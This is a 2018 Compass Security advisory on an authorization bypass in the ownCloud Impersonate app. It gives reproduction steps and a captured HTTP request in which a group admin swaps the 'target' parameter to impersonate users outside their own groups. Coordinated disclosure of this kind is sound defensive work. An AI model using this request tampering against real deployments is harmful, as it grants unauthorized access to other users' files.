CSNC-2018-015 - ownCloud Impersonate - Authorization Bypass

#############################################################
#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/research/advisories/
#
#############################################################
#
# Product:  ownCloud Impersonate
# Vendor:   ownCloud
# CSNC ID:  CSNC-2018-015
# CVE ID:   N/A
# Subject:  Authorization bypass
# Risk:     High
# Effect:   Remotely exploitable
# Author:   Thierry Viaccoz <[email protected]>
# Date:     29.08.2018
#
#############################################################


Introduction:
-------------
ownCloud [1] is a suite of client-server software for creating file hosting=
 services and using them. An app called Impersonate [2] was created to allo=
w administrators to impersonate other users.

According to the documentation [3], group admins should only be able to acc=
ess users of the groups they are administrator of.

Compass Security discovered that it was possible for a group admin to imper=
sonate any user, except global administrators.

This way, group admins have access to data of users of other groups, even t=
hough they shouldn't.


Affected:
---------
Vulnerable:
 * Version 0.1.2

Not vulnerable:
 * Version 0.2.0

No other version was tested, but it is believed for the older versions to b=
e vulnerable too.


Technical Description
---------------------
In order to reproduce the vulnerability, follow the steps below.

Create two groups:
 * group1
 * group2

Create four users as follows:
 * test1; group =3D group1; group admin =3D group1
 * test2; group =3D group1; group admin =3D no group
 * test3; group =3D group2; group admin =3D group2
 * test4; group =3D group2; group admin =3D no group

Activate the Impersonate app in Settings > Admin > Apps.

Go to Settings > Admin > Apps > User Authentication, check "Allow group adm=
ins to impersonate users from these groups" and add the two groups "group1"=
 and "group2".

Log in with "test1", open the user page and impersonate the user "test2". T=
here, intercept the POST request to /apps/impersonate/user and replace "tar=
get=3Dtest2" by "target=3Dtest3" in the body as shown below.

As a result, the user "test1" will impersonate the user "test3", even thoug=
h "test1" is only group admin of "group1" and "test3" is not in this group.

Request:
=3D=3D=3D=3D=3D=3D=3D=3D=3D
POST /apps/impersonate/user HTTP/1.1
Host: demo.owncloud.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox=
/52.0
Accept: */*
Accept-Language: en-US,en;q=3D0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=3DUTF-8
requesttoken: [CUT]
OCS-APIREQUEST: true
X-Requested-With: XMLHttpRequest
Content-Length: 12
Cookie: [CUT]
Connection: close

target=3Dtest3
=3D=3D=3D=3D=3D=3D=3D=3D=3D

Response:
=3D=3D=3D=3D=3D=3D=3D=3D=3D
HTTP/1.1 200 OK
Cache-Control: no-cache, must-revalidate
Content-Length: 2
Content-Security-Policy: default-src 'none';manifest-src 'self';script-src =
'self' 'unsafe-eval';style-src 'self' 'unsafe-inline';img-src 'self' data: =
blob:;font-src 'self';connect-src 'self';media-src 'self'
Content-Type: application/json; charset=3Dutf-8
Date: Thu, 15 Mar 2018 15:21:14 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache
Strict-Transport-Security: max-age=3D15768000; preload
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: SAMEORIGIN
X-Permitted-Cross-Domain-Policies: none
X-Robots-Tag: none
X-Xss-Protection: 1; mode=3Dblock
Connection: close

[]
=3D=3D=3D=3D=3D=3D=3D=3D=3D


Workaround / Fix:
-----------------
Check the authorization consistently to prevent group admins to be able to =
impersonate users from other groups.


Timeline:
---------
2018-08-29:     Coordinated public disclosure date
2018-04-17:     Release of fixed version 0.2.0
2018-03-16:     Initial vendor response
2018-03-16:     Initial vendor notification
2018-03-15:     Discovery by Thierry Viaccoz


References:
-----------
[1] https://owncloud.org/
[2] https://marketplace.owncloud.com/apps/impersonate
[3] https://doc.owncloud.org/server/10.0/admin_manual/issues/impersonate_us=
ers.html